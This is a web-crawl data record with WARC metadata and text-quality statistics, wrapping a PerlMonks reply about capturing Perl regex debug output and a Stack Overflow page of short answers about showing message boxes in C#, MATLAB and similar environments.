"WARC-Concurrent-To": "<urn:uuid:dc53111e-e3ec-4293-98d2-ba5d6690927d>",
"WARC-Date": "2019-04-21T04:52:14Z",
"WARC-IP-Address": "89.238.182.180",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:O7MGO3VQNWYCQMV4NBSRIEP5N3WGTPSC",
"WARC-Record-ID": "<urn:uuid:6d36e486-fb8c-4569-99d5-43d278d40dc7>",
"WARC-Target-URI": "https://hydrogenaud.io/index.php/topic,106938.msg895523.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:6debe3d3-e5b7-4841-8ef1-cfa9f2db3e55>"
},
"warc_info": "isPartOf: CC-MAIN-2019-18\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-157-215-35.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
21,
126,
172,
173,
224,
225,
330,
331,
439,
440,
537,
538,
539,
544,
545,
579,
602,
651,
711,
715,
716,
717,
725,
726,
803,
864,
865,
911,
952,
1036,
1137,
1138,
1199,
1232,
1259,
1294,
1295,
1296,
1307,
1308,
1388,
1389,
1434,
1495,
1496,
1497,
1518,
1519,
1850,
1851,
2040,
2101,
2102,
2231,
2273,
2294,
2295,
2296,
2313,
2314,
2338,
2399,
2460,
2461,
2462,
2471,
2472,
2693,
2694,
2712,
2773,
2774,
2805,
2832,
2833,
2834,
2842,
2849,
2850,
2901,
2902,
2911,
3032,
3090,
3091,
3142,
3143,
3152,
3281,
3282,
3290,
3291,
3732,
3733,
3784,
3785,
3794,
3828,
3829,
3830,
3881,
3882,
3891,
3976,
4022,
4023,
4139,
4173,
4174,
4225,
4226,
4235,
4343,
4344,
4463,
4636,
4637,
4867,
4943,
5053,
5138,
5139,
5145,
5204,
5205,
5256,
5257,
5266,
5388,
5525,
5526,
5555,
5598,
5599,
5650,
5651,
5660,
5779,
5952,
5953,
6050,
6111,
6112,
6240,
6328,
6329,
6330,
6440,
6525,
6526,
6782,
6783,
6873,
6874,
6875,
6876,
6927,
6928,
6937,
7034,
7035,
7036,
7069,
7125,
7126,
7167,
7186,
7235,
7236,
7287,
7288,
7298,
7344,
7385,
7389,
7390,
7448,
7449,
7547,
7548,
7605,
7606,
7657,
7658,
7668,
7790,
7791,
7846,
7847,
7851,
7852,
8186,
8187,
8596,
8612,
8652,
8653,
8704,
8705,
8715,
8826,
8827,
8899,
8900,
9073,
9292,
9293,
9426,
9641,
9806,
9807,
9875,
9876,
9882,
9941,
9942,
9993,
9994,
10004,
10038,
10039,
10239,
10240,
10663,
10695,
10696,
10747,
10748,
10758,
10830,
10914,
10958,
10959,
10960,
11011,
11012,
11022,
11187,
11188,
11407,
11416,
11497,
11538,
11600,
11601,
11766,
11936,
12143,
12144,
12195,
12196,
12206,
12256,
12317,
12318,
12530,
12531,
12539,
12546,
12547,
12598,
12599,
12609,
12659,
12720,
12721,
12933,
12934,
13023,
13069,
13070,
13121,
13122,
13132,
13187,
13188,
13196,
13203,
13204,
13255,
13256,
13266,
13488,
13489,
13565,
13574,
13575,
13885,
13886,
13992,
13993,
14044,
14045,
14055,
14056,
14057,
14154,
14155,
14236,
14237,
14288,
14289,
14299,
14416,
14417,
14468,
14469,
14479,
14589,
14590,
14851,
14852,
15157,
15158,
15160,
15161,
15212,
15213,
15223,
15528,
15529,
15815,
15816,
15818
],
"line_end_idx": [
21,
126,
172,
173,
224,
225,
330,
331,
439,
440,
537,
538,
539,
544,
545,
579,
602,
651,
711,
715,
716,
717,
725,
726,
803,
864,
865,
911,
952,
1036,
1137,
1138,
1199,
1232,
1259,
1294,
1295,
1296,
1307,
1308,
1388,
1389,
1434,
1495,
1496,
1497,
1518,
1519,
1850,
1851,
2040,
2101,
2102,
2231,
2273,
2294,
2295,
2296,
2313,
2314,
2338,
2399,
2460,
2461,
2462,
2471,
2472,
2693,
2694,
2712,
2773,
2774,
2805,
2832,
2833,
2834,
2842,
2849,
2850,
2901,
2902,
2911,
3032,
3090,
3091,
3142,
3143,
3152,
3281,
3282,
3290,
3291,
3732,
3733,
3784,
3785,
3794,
3828,
3829,
3830,
3881,
3882,
3891,
3976,
4022,
4023,
4139,
4173,
4174,
4225,
4226,
4235,
4343,
4344,
4463,
4636,
4637,
4867,
4943,
5053,
5138,
5139,
5145,
5204,
5205,
5256,
5257,
5266,
5388,
5525,
5526,
5555,
5598,
5599,
5650,
5651,
5660,
5779,
5952,
5953,
6050,
6111,
6112,
6240,
6328,
6329,
6330,
6440,
6525,
6526,
6782,
6783,
6873,
6874,
6875,
6876,
6927,
6928,
6937,
7034,
7035,
7036,
7069,
7125,
7126,
7167,
7186,
7235,
7236,
7287,
7288,
7298,
7344,
7385,
7389,
7390,
7448,
7449,
7547,
7548,
7605,
7606,
7657,
7658,
7668,
7790,
7791,
7846,
7847,
7851,
7852,
8186,
8187,
8596,
8612,
8652,
8653,
8704,
8705,
8715,
8826,
8827,
8899,
8900,
9073,
9292,
9293,
9426,
9641,
9806,
9807,
9875,
9876,
9882,
9941,
9942,
9993,
9994,
10004,
10038,
10039,
10239,
10240,
10663,
10695,
10696,
10747,
10748,
10758,
10830,
10914,
10958,
10959,
10960,
11011,
11012,
11022,
11187,
11188,
11407,
11416,
11497,
11538,
11600,
11601,
11766,
11936,
12143,
12144,
12195,
12196,
12206,
12256,
12317,
12318,
12530,
12531,
12539,
12546,
12547,
12598,
12599,
12609,
12659,
12720,
12721,
12933,
12934,
13023,
13069,
13070,
13121,
13122,
13132,
13187,
13188,
13196,
13203,
13204,
13255,
13256,
13266,
13488,
13489,
13565,
13574,
13575,
13885,
13886,
13992,
13993,
14044,
14045,
14055,
14056,
14057,
14154,
14155,
14236,
14237,
14288,
14289,
14299,
14416,
14417,
14468,
14469,
14479,
14589,
14590,
14851,
14852,
15157,
15158,
15160,
15161,
15212,
15213,
15223,
15528,
15529,
15815,
15816,
15818,
15852
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 15852,
"ccnet_original_nlines": 324,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 1,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.32216066122055054,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05678670108318329,
"rps_doc_frac_lines_end_with_ellipsis": 0.00923077017068863,
"rps_doc_frac_no_alph_words": 0.24764542281627655,
"rps_doc_frac_unique_words": 0.31146880984306335,
"rps_doc_mean_word_length": 4.949295997619629,
"rps_doc_num_sentences": 257,
"rps_doc_symbol_to_word_ratio": 0.010526319965720177,
"rps_doc_unigram_entropy": 5.852846622467041,
"rps_doc_word_count": 2485,
"rps_doc_frac_chars_dupe_10grams": 0.4136108458042145,
"rps_doc_frac_chars_dupe_5grams": 0.4288153648376465,
"rps_doc_frac_chars_dupe_6grams": 0.4247499704360962,
"rps_doc_frac_chars_dupe_7grams": 0.42466866970062256,
"rps_doc_frac_chars_dupe_8grams": 0.42466866970062256,
"rps_doc_frac_chars_dupe_9grams": 0.42466866970062256,
"rps_doc_frac_chars_top_2gram": 0.013009189628064632,
"rps_doc_frac_chars_top_3gram": 0.02959590032696724,
"rps_doc_frac_chars_top_4gram": 0.04650785028934479,
"rps_doc_books_importance": -1683.8941650390625,
"rps_doc_books_importance_length_correction": -1683.8941650390625,
"rps_doc_openwebtext_importance": -991.0601806640625,
"rps_doc_openwebtext_importance_length_correction": -991.0601806640625,
"rps_doc_wikipedia_importance": -637.0071411132812,
"rps_doc_wikipedia_importance_length_correction": -637.0071411132812
},
"fasttext": {
"dclm": 0.04277772083878517,
"english": 0.9187695980072021,
"fineweb_edu_approx": 1.7257652282714844,
"eai_general_math": 0.1092597171664238,
"eai_open_web_math": 0.1945570707321167,
"eai_web_code": 0.012094019912183285
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.019",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "781.2",
"labels": {
"level_1": "Arts",
"level_2": "Music",
"level_3": "Music theory"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-164,468,552,164,758,700 | Beefy Boxes and Bandwidth Generously Provided by pair Networks
Perl Monk, Perl Meditation
PerlMonks
Comment on
( #3333=superdoc: print w/ replies, xml ) Need Help??
w.r.t the warning redirect, I've been preferring a local clobber of the __WARN__ handler recently. It's less intimidating to the unwashed, and expires naturally.
use strict; use warnings; my $log = parse_regex( q#(\\.|["']|x)# ); print $log; sub parse_regex { my ($regex) = @_; # Catch and stash warnings my $parselog = ''; local $SIG{__WARN__} = sub { $parselog .= $_ for @_; }; # --- compile regex eval q{ use re 'debug'; qr/$regex/; }; return $parselog; }
Best of luck; strikes me as an interesting challenge. Is use re 'debug'; output stable enough for automated parsing?
Update: Huh, the debug actually bypasses the warning handler and prints directly to STDERR. Now starting penance.
#11929 First ask yourself `How would I do this without a computer?' Then have the computer do it the same way.
In reply to Re: Parsing and translating Perl Regexes by kennethk
in thread Parsing and translating Perl Regexes by LanX
Title:
Use: <p> text here (a paragraph) </p>
and: <code> code here </code>
to format your post; it's "PerlMonks-approved HTML":
• Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
• Read Where should I post X? if you're not absolutely sure you're posting in the right place.
• Please read these before you post! —
• Posts may use any of the Perl Monks Approved HTML tags:
a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
• Outside of code tags, you may need to use entities for some characters:
For: Use:
& &
< <
> >
[ [
] ]
• Link using PerlMonks shortcuts! What shortcuts can I use for linking?
• See Writeup Formatting Tips and other pages linked from there for more info.
• Log In?
Username:
Password:
What's my password?
Create A New User
Chatterbox?
and the web crawler heard nothing...
How do I use this? | Other CB clients
Other Users?
Others surveying the Monastery: (8)
As of 2015-03-03 08:13 GMT
Sections?
Information?
Find Nodes?
Leftovers?
Voting Booth?
When putting a smiley right before a closing parenthesis, do you:
Results (65 votes), past polls | {
"url": "http://www.perlmonks.org/index.pl?parent=1061185;node_id=3333",
"source_domain": "www.perlmonks.org",
"snapshot_id": "crawl=CC-MAIN-2015-11",
"warc_metadata": {
"Content-Length": "20913",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:4PVCDOHNLHQH7GBGGTJWZK5SSKK4XO4T",
"WARC-Concurrent-To": "<urn:uuid:9a9136da-01d4-4219-8475-271284a6fb21>",
"WARC-Date": "2015-03-03T08:14:46Z",
"WARC-IP-Address": "66.39.54.27",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:HNS3NA6GRKLIJ6TXIQCATPBINGPIPSG5",
"WARC-Record-ID": "<urn:uuid:9e2eb8a4-f954-4485-8a4a-27200a2e4c8f>",
"WARC-Target-URI": "http://www.perlmonks.org/index.pl?parent=1061185;node_id=3333",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d1ecd482-cb04-485b-9c3b-3def85429164>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-28-5-156.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-11\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for February 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
63,
90,
92,
104,
105,
116,
117,
171,
172,
334,
335,
632,
633,
750,
751,
865,
866,
867,
978,
979,
980,
1045,
1100,
1101,
1108,
1147,
1178,
1231,
1232,
1233,
1234,
1357,
1454,
1495,
1555,
1821,
1897,
1923,
1935,
1946,
1957,
1969,
1981,
2055,
2136,
2148,
2162,
2176,
2177,
2201,
2223,
2239,
2280,
2281,
2323,
2340,
2380,
2411,
2425,
2442,
2458,
2473,
2493,
2494,
2566,
2567,
2568,
2569,
2570,
2571,
2572,
2573,
2574,
2575
],
"line_end_idx": [
63,
90,
92,
104,
105,
116,
117,
171,
172,
334,
335,
632,
633,
750,
751,
865,
866,
867,
978,
979,
980,
1045,
1100,
1101,
1108,
1147,
1178,
1231,
1232,
1233,
1234,
1357,
1454,
1495,
1555,
1821,
1897,
1923,
1935,
1946,
1957,
1969,
1981,
2055,
2136,
2148,
2162,
2176,
2177,
2201,
2223,
2239,
2280,
2281,
2323,
2340,
2380,
2411,
2425,
2442,
2458,
2473,
2493,
2494,
2566,
2567,
2568,
2569,
2570,
2571,
2572,
2573,
2574,
2575,
2611
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2611,
"ccnet_original_nlines": 74,
"rps_doc_curly_bracket": 0.003063960000872612,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.23139159381389618,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.025889970362186432,
"rps_doc_frac_lines_end_with_ellipsis": 0.013333329930901527,
"rps_doc_frac_no_alph_words": 0.3656958043575287,
"rps_doc_frac_unique_words": 0.6590909361839294,
"rps_doc_mean_word_length": 4.484848499298096,
"rps_doc_num_sentences": 34,
"rps_doc_symbol_to_word_ratio": 0.01456310972571373,
"rps_doc_unigram_entropy": 5.3085503578186035,
"rps_doc_word_count": 396,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03828829154372215,
"rps_doc_frac_chars_dupe_6grams": 0.03828829154372215,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.011261260136961937,
"rps_doc_frac_chars_top_3gram": 0.011261260136961937,
"rps_doc_frac_chars_top_4gram": 0.028153149411082268,
"rps_doc_books_importance": -272.8729248046875,
"rps_doc_books_importance_length_correction": -272.8729248046875,
"rps_doc_openwebtext_importance": -161.43832397460938,
"rps_doc_openwebtext_importance_length_correction": -161.43832397460938,
"rps_doc_wikipedia_importance": -118.030517578125,
"rps_doc_wikipedia_importance_length_correction": -118.030517578125
},
"fasttext": {
"dclm": 0.03665899857878685,
"english": 0.7459388971328735,
"fineweb_edu_approx": 2.217217206954956,
"eai_general_math": 0.002561149885877967,
"eai_open_web_math": 0.3462289571762085,
"eai_web_code": 0.00005900999894947745
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "6",
"label": "Indeterminate"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
2,489,026,946,067,201,000 | Tag Info
Hot answers tagged
16
This has nothing to do with MessageBox - as the error message says, you simply can't convert a lambda expression to dynamic as the compiler has no idea what delegate type to create an instance of. You want: Action<string> action = x => MessageBox.Show(x); Or even use a method group conversion, although then you have to match the return type: ...
8
Because you've set Checked = false in return of the dialogresult? Hence, toggling the state again? EDIT: Of note, you are probably using the CheckStateChanged event. So, you check the checkbox (setting it to true), it fires, you show the MessageBox, you set the checkbox back to false, which in turn, causes the event to fire again (you are changing the ...
8
You could save it as a bool in your settings and you should check at load event of first form. Your settings file should have a setting that I called "FirstRun" do this with following steps: Right click your Project Click "Properties" Click "Settings" tabpage(probably on the left) Add setting like I did as seen in image above Note: The Scope can be ...
7
Create a custom dialog. Here is something that could give you an idea: public static class CheckboxDialog { public static bool ShowDialog(string text, string caption) { Form prompt = new Form(); prompt.Width = 180; prompt.Height = 100; prompt.Text = caption; FlowLayoutPanel panel = new FlowLayoutPanel(); ...
6
To show the MessageBox on top-most of all for the application Code Message.Show(this, "My top most message"); Reason for not being MB_TOPMOST by default If MB_TOPMOST will be default then the MessageBox will show up in a 'system modal' mode and it will be exactly on top on that form and side effects are that the 'system modal' mode will cause the ...
6
Application.Exit tells your WinForms application to stop the message pump, therefore exiting the program. If you call it before you call Application.Run, the message pump never got to start in the first place, so it freezes. If you want to terminate your program, no matter what state it is in, use Environment.Exit.
5
The key words in your description are web application This functionality is only available in client (WinForms, WPF) based applications, not ASP.NET. To do this in a web app you will need to use Javascript, as illustrated in this previous Stack Overflow question.
5
You should NOT use a Windows forms MessageBox inside a class library. What if you use this library in an ASP.NET application. The MessageBox will be shown in Webserver. And your webserver will be waiting (hung) untill someone responds to that MessageBox in webserver. An ideal design would be that you either return the message as string and deal with that ...
5
You could do it the following way: h = msgbox(['The result is ' num2str(MS)], 'Title of the message box') With num2str I convert the numerical result to a string, and with the square brackets I concatenate "The result is " with the result to display it in the message box.
5
Since this is in the Main() routine, just return: try { reader = new Reader("COM6"); } catch { MessageBox.Show("No Device Detected", MessageBoxButtons.OK, MessageBoxIcon.Error) return; // Will exit the program } Application.EnableVisualStyles(); //... Other code here.. Returning from Main() will exit the process.
5
You could try using unicode super/subscripts, for example: var o2 = "O₂"; // or "O\x2082" var unit2 = "unit²"; // or "unit\xB2" If that doesn't work, I'm afraid you'll probably need to to write your own message box.
5
This is a bug with dialog templates generally. It is not a message box bug as such. For example, in Visual Studio create the default win32 application. In the .rc file, change the caption in the template for the about box from CAPTION "About sampleapp" to CAPTION "ÿT" and the bug will manifest itself when you display the about box. In the ...
5
Hard to be 100% sure what's going on. Most likely, I think, is that the timer is still running when you call MessageBox.Show. And MessageBox.Show runs a modal message loop which results in timer events firing. And they execute and show the message box again. And again. And again. If you have a timer event handler that pumps the message queue, as you do, you ...
5
Replace that code with if (checkedListBox1.SelectedIndices.Contains(2)) { MessageBox.Show("Note to send email", "Note", MessageBoxButtons.OK); } That will check if 2 is among all selected items. See more on SelectedIndices property on MSDN.
5
I would say that MessageBox.Show() is not really that Developer Friendly. You can use CustomMessageBox, which is in the Toolkit currently. You could find further details here
5
Windows API has a function for showing a message box for a specified time, but for some reason is that function undocumented, which means it is not officially supported and may well be subject to change. That function is called MessageBoxTimeout, and it has even export in the user32.dll library, what makes me feel that the only thing this function lacks is ...
5
There is no "normal" way of doing that, if not using some not very riliable API calls and sniffing. But according to yuor comment, you need may be something like: var flag = true; MessageBox.Show(...); flag = false; This is a correct way of doing that. MessageBox.Show(...); is a blocking call. If you need more control, define your own form, and it ...
4
You can't add a checkbox to a MessageBox. As Tim and rsbarro suggest, you should create a custom dialog. Tim's answer will work well, and doesn't require creation of a new class. If you want to design the form in the designer though, you could try this. Create a new form with the two buttons and the checkbox you'll need. In the forms designer, set the ...
4
ShowMessage displays a modal dialog. This means that the call to ShowMessage does not return until the dialog is closed. Your problem is that you wish to execute a long-running task without blocking the UI. The way to achieve that is to put the long-running task, the search, into a separate thread. Send messages from the search thread to the UI thread to ...
4
use a container control to hold both textboxes TextBox soora = new TextBox(); soora.Height = 72; soora.Width = 150; soora.MaxLength = 3; TextBox ayath = new TextBox(); ayath.Height = 72; ayath.Width = 150; ayath.MaxLength = 3; StackPanel container = new ...
4
You have to declare the delegate type. Otherwise it won't know what type of lambda expression it's supposed to be—x could be anything. This should work: Action<string> showMessage = x => MessageBox.Show(x); See Action<T> for clarification on what this delegate type is.
4
You can have bool value in your settings file which is a "user setting" which means you can change it to true save it for this specific user. When your application starts just check that value. If it's false show your dialog and change it to true and it will stay true. public void Form_Load(object sender, EventArgs e) { if(Settings.Default.ShowDialog) ...
4
Building on the answer @kobik gave. I had to include the '.exe' in the Filename. Like so: if not ShellExec('', 'msiexec.exe', ExpandConstant('{tmp}\package\file.msi'), '', SW_SHOWNORMAL, ewWaitUntilTerminated, ErrorCode) then MsgBox('Msi installer failed to run!' + #13#10 + ' ' + SysErrorMessage(ErrorCode), mbError, MB_OK);
3
Short answer: you cannot. The Win32 MessageBox window only lets you choose one of four icons (the other members of MessageBoxIcon are synonyms) that corresponds to the purpose of a messagebox: Ask the user a confirmation question (a Yes/No messagebox with a Question-mark icon) To warn the user (usually a single button with a warning triangle icon) To ...
3
Since you have items defined as List<PCParts>, you can access the objects in the list anytime you want, so long as items is in scope. So, for example, if you had a label (call it lblName for sake of the example), then you could do this: lblName.Text = items[1].PartName; Where items[1] is the second PCParts in the list (GFX). Essentially, sine you ...
3
Do it like this: MessageBox.Show( "Message", "Title", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); It will put it in front of all other windows, including those from other processes (which is what I think you're asking for). The critical parameter is ...
3
I'd strongly encourage you NOT to use MessageBox.Show(...) to log/trace/debug errors, because popping-up a dialog can introduce many subtle bugs and changes in behavior, focus, etc., especially if your UI flow/state is important. Instead, use System.Diagnostics.Trace for writing tracing code (which you can optionally compile into your production/release ...
3
I think that what you need to do is call router.navigateTo('#/yourUrl'). If i understand right the documentation, router.activate must be call only one time, usually at the shell activation. The route functions available for your viewModel navigation is listed in the documentation http://durandaljs.com/documentation/Router/ under the section "Other APIs"
3
No. The table name cannot be passed as parameter to a query. You will have to construct the query yourself. Dim tableName as String, sql As String tableName = InputBox("Please enter the table name") If tableName <> "" Then sql = "SELECT Fruit, Date FROM [" & tableName & "] WHERE Fruit = 'Apples'" 'TODO: execute the query here End If ...
3
Simple answer is, because you aren't incrementing seconds until after the MessageBox.Show(). Move it before the if (seconds == 10) test and your code will work. The execution flow stops at MessageBox.Show() and then another Time event fires. You must always use care with re-entry when it comes to timers.
Only top voted, non community-wiki answers of a minimum length are eligible | {
"url": "http://stackoverflow.com/tags/messagebox/hot?filter=year",
"source_domain": "stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2014-10",
"warc_metadata": {
"Content-Length": "112406",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:VGGQLFN73LJMCO3K63OQODX37BGESF64",
"WARC-Concurrent-To": "<urn:uuid:80188d66-687f-46f4-adba-3064c180f282>",
"WARC-Date": "2014-03-11T08:03:44Z",
"WARC-IP-Address": "198.252.206.140",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:CPR2QWC5BSNPVWSEFDM3MKHWYMPYC4VC",
"WARC-Record-ID": "<urn:uuid:56201cb1-8967-491e-a62a-88d187adb8e2>",
"WARC-Target-URI": "http://stackoverflow.com/tags/messagebox/hot?filter=year",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:eb39f2f8-da9b-4ecf-921d-10ea88103494>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-183-142-35.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-10\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for March 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
9,
10,
29,
30,
33,
34,
382,
383,
384,
386,
387,
745,
746,
747,
749,
750,
1105,
1106,
1107,
1109,
1110,
1420,
1421,
1422,
1424,
1425,
1778,
1779,
1780,
1782,
1783,
2100,
2101,
2102,
2104,
2105,
2369,
2370,
2371,
2373,
2374,
2735,
2736,
2737,
2739,
2740,
3013,
3014,
3015,
3017,
3018,
3333,
3334,
3335,
3337,
3338,
3554,
3555,
3556,
3558,
3559,
3904,
3905,
3906,
3908,
3909,
4273,
4274,
4275,
4277,
4278,
4519,
4520,
4521,
4523,
4524,
4699,
4700,
4701,
4703,
4704,
5067,
5068,
5069,
5071,
5072,
5426,
5427,
5428,
5430,
5431,
5789,
5790,
5791,
5793,
5794,
6155,
6156,
6157,
6159,
6160,
6418,
6419,
6420,
6422,
6423,
6693,
6694,
6695,
6697,
6698,
7056,
7057,
7058,
7060,
7061,
7387,
7388,
7389,
7391,
7392,
7749,
7750,
7751,
7753,
7754,
8107,
8108,
8109,
8111,
8112,
8443,
8444,
8445,
8447,
8448,
8808,
8809,
8810,
8812,
8813,
9170,
9171,
9172,
9174,
9175,
9514,
9515,
9516,
9518,
9519,
9825,
9826,
9827,
9828
],
"line_end_idx": [
9,
10,
29,
30,
33,
34,
382,
383,
384,
386,
387,
745,
746,
747,
749,
750,
1105,
1106,
1107,
1109,
1110,
1420,
1421,
1422,
1424,
1425,
1778,
1779,
1780,
1782,
1783,
2100,
2101,
2102,
2104,
2105,
2369,
2370,
2371,
2373,
2374,
2735,
2736,
2737,
2739,
2740,
3013,
3014,
3015,
3017,
3018,
3333,
3334,
3335,
3337,
3338,
3554,
3555,
3556,
3558,
3559,
3904,
3905,
3906,
3908,
3909,
4273,
4274,
4275,
4277,
4278,
4519,
4520,
4521,
4523,
4524,
4699,
4700,
4701,
4703,
4704,
5067,
5068,
5069,
5071,
5072,
5426,
5427,
5428,
5430,
5431,
5789,
5790,
5791,
5793,
5794,
6155,
6156,
6157,
6159,
6160,
6418,
6419,
6420,
6422,
6423,
6693,
6694,
6695,
6697,
6698,
7056,
7057,
7058,
7060,
7061,
7387,
7388,
7389,
7391,
7392,
7749,
7750,
7751,
7753,
7754,
8107,
8108,
8109,
8111,
8112,
8443,
8444,
8445,
8447,
8448,
8808,
8809,
8810,
8812,
8813,
9170,
9171,
9172,
9174,
9175,
9514,
9515,
9516,
9518,
9519,
9825,
9826,
9827,
9828,
9903
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 9903,
"ccnet_original_nlines": 155,
"rps_doc_curly_bracket": 0.0011107700411230326,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.35617080330848694,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02017831988632679,
"rps_doc_frac_lines_end_with_ellipsis": 0.12179487198591232,
"rps_doc_frac_no_alph_words": 0.24073204398155212,
"rps_doc_frac_unique_words": 0.3833763003349304,
"rps_doc_mean_word_length": 4.878866195678711,
"rps_doc_num_sentences": 146,
"rps_doc_symbol_to_word_ratio": 0.012200839817523956,
"rps_doc_unigram_entropy": 5.604564666748047,
"rps_doc_word_count": 1552,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.009244590066373348,
"rps_doc_frac_chars_top_3gram": 0.0031695698853582144,
"rps_doc_frac_chars_top_4gram": 0.0050184899009764194,
